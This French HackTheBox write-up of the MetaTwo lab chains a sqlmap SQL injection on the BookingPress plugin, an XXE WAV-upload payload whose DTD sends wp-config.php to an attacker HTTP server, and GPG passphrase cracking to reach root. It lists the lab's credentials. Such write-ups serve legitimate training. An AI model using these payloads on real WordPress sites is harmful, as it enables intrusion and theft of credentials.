← Retour au carnet HTB · Linux · Easy · n°01

MetaTwo

WordPress + plugin BookingPress vulnérable à une SQLi (CVE-2022-0739). XXE sur la Media Library (CVE-2021-29447) pour exfiltrer credentials FTP. Escalade via Passpie/GPG cracké.

Date
30 oct. 2022
IP
10.10.11.186
OS
Debian 11
Plateforme
HackTheBox
WordPressCVE-2022-0739SQLiCVE-2021-29447XXEFTPPasspieGPGLinux
Easy
↳ trois CVEs chainées. Patience.
i.

WordPress BookingPress : CVE-2022-0739.

Site WordPress avec plugin BookingPress 1.0.10, vulnérable à une SQLi non authentifiée sur le paramètre total_service.

sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST \
  --data "action=bookingpress_front_get_category_services&_wpnonce=...&category_id=123&total_service=111" \
  -p total_service -D blog -T wp_users --dump
# → manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
john --wordlist=rockyou.txt wp_users.hash
# → manager:partylikearockstar
Connexion WordPress avec manager:partylikearockstar.
ii.

XXE Media Library : CVE-2021-29447.

WordPress 5.6.2 parse les fichiers WAV avec un parser XML qui honore les entités externes. Upload d'un WAV malveillant → exfiltration de wp-config.php via HTTP.

# evil.dtd (servi par notre HTTP server)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.50:8080/?p=%file;'>">

# payload.wav : headers RIFF + XML avec entités externes
# Upload dans WordPress Media Library → requête HTTP reçue → base64 décoder
echo "BASE64" | base64 -d  
# → define('FTP_PASS', '9NYS_ii@FyL_p5M2NvJ');

Connexion FTP → fichier mailer/send_email.php → credentials SSH jnelson.

iii.

Passpie & GPG cracké.

Le home de jnelson contient un répertoire .passpie, gestionnaire de mots de passe chiffré par GPG.

scp jnelson@10.10.11.186:/home/jnelson/.passpie/.keys ./keys
gpg2john keys > keys.hash
john --wordlist=rockyou.txt keys.hash --format=gpg
# → blink182
passpie export ~/password.db  # passphrase blink182
# → root: p7qfAZt4_A1xo_0x
su root
root obtenu. Flags : /home/jnelson/user.txt · /root/root.txt

Chaîne d'attaque.

1
CVE-2022-0739
BookingPress SQLi → hash manager
2
WordPress admin
John crack → manager:partylikearockstar
3
CVE-2021-29447
XXE WAV upload → wp-config.php → FTP creds
4
FTP → SSH
send_email.php → jnelson:Cb4_JmWM8zUZWMu@Ys
5
Passpie GPG
gpg2john → blink182 → root password
6
Root
su root → p7qfAZt4_A1xo_0x
Note terrain

MetaTwo enchaîne trois techniques distinctes sur WordPress : SQLi, XXE, et crackage de clé GPG. Ce qui m'a appris quelque chose : les gestionnaires de mots de passe sont aussi sûrs que leur passphrase. blink182 dans rockyou.txt, c'est l'équivalent d'une porte blindée avec une serrure de jouet.